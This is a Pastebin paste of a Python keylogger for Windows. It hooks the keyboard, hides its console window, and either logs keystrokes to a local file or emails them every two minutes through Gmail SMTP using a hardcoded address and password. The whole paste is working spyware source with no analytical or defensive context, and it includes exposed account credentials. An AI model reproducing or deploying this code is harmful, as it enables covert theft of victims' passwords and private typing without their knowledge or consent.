Advertisement
Guest User

Atestat

a guest
Apr 26th, 2018
338
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.17 KB | None | 0 0
  1. import pythoncom, pyHook
  2. import os
  3. import sys
  4. import threading
  5. import urllib,urllib2
  6. import smtplib
  7. import ftplib
  8. import datetime,time
  9. import win32event, win32api, winerror
  10. from _winreg import *
  11.  
  12. #Disallowing Multiple Instance
  13. mutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz')
  14. if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
  15.     mutex = None
  16.     print "Multiple Instance not Allowed"
  17.     exit(0)
  18. x=''
  19. data=''
  20. count=0
  21.  
  22. #Hide Console
  23. def hide():
  24.     import win32console,win32gui
  25.     window = win32console.GetConsoleWindow()
  26.     win32gui.ShowWindow(window,0)
  27.     return True
  28.  
  29. def msg():
  30.     print """\n \n
  31. usage:program.exe mode [optional:startup]
  32.  
  33. mode:
  34.     local: store the logs in a file [keylogs.txt]    
  35.    
  36.     email: send the logs to an email. You must specify (SERVER,PORT,USERNAME,PASSWORD,TO).  
  37.  
  38.  
  39. \n\n"""
  40.     return True
  41.  
  42. #Local Keylogger
  43. def local():
  44.     global data
  45.     if len(data)>100:
  46.         fp=open("keylogs.txt","a")
  47.         fp.write(data)
  48.         fp.close()
  49.         data=''
  50.     return True
  51.  
  52. #Email Logs
  53. class TimerClass(threading.Thread):
  54.     def __init__(self):
  55.         threading.Thread.__init__(self)
  56.         self.event = threading.Event()
  57.     def run(self):
  58.         while not self.event.is_set():
  59.             global data
  60.             if len(data)>100:
  61.                 ts = datetime.datetime.now()
  62.                 SERVER = "smtp.gmail.com" #Specify Server Here
  63.                 PORT = 587 #Specify Port Here
  64.                 USER="memablanao@gmail.com"#Specify Username Here
  65.                 PASS="memarusef"#Specify Password Here
  66.                 FROM = USER#From address is taken from username
  67.                 TO = ["memablanao@gmail.com"] #Specify to address.Use comma if more than one to address is needed.
  68.                 SUBJECT = "Keylogger data: "+str(ts)
  69.                 MESSAGE = data
  70.                 message = """\
  71. From: %s
  72. To: %s
  73. Subject: %s
  74.  
  75. %s
  76. """ % (FROM, ", ".join(TO), SUBJECT, MESSAGE)
  77.                 try:
  78.                     server = smtplib.SMTP()
  79.                     server.connect(SERVER,PORT)
  80.                     server.starttls()
  81.                     server.login(USER,PASS)
  82.                     server.sendmail(FROM, TO, message)
  83.                     data=''
  84.                     server.quit()
  85.                 except Exception as e:
  86.                     print e
  87.             self.event.wait(120)
  88.  
  89.  
  90. def main():
  91.     global x
  92.     if len(sys.argv)==1:
  93.         msg()
  94.         exit(0)
  95.     else:        
  96.         if sys.argv[1]=="local":
  97.             x=1
  98.             hide()
  99.         elif sys.argv[1]=="email":
  100.             hide()
  101.             email=TimerClass()
  102.             email.start()
  103.         else:
  104.             msg()
  105.             exit(0)
  106.     return True
  107.  
  108. if __name__ == '__main__':
  109.     main()
  110.  
  111. def keypressed(event):
  112.     global x,data
  113.     if event.Ascii==13:
  114.         keys='<ENTER>'
  115.     elif event.Ascii==8:
  116.         keys='<BACK SPACE>'
  117.     elif event.Ascii==9:
  118.         keys='<TAB>'
  119.     else:
  120.         keys=chr(event.Ascii)
  121.     data=data+keys
  122.     if x==1:  
  123.         local()
  124.  
  125. obj = pyHook.HookManager()
  126. obj.KeyDown = keypressed
  127. obj.HookKeyboard()
  128. pythoncom.PumpMessages()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement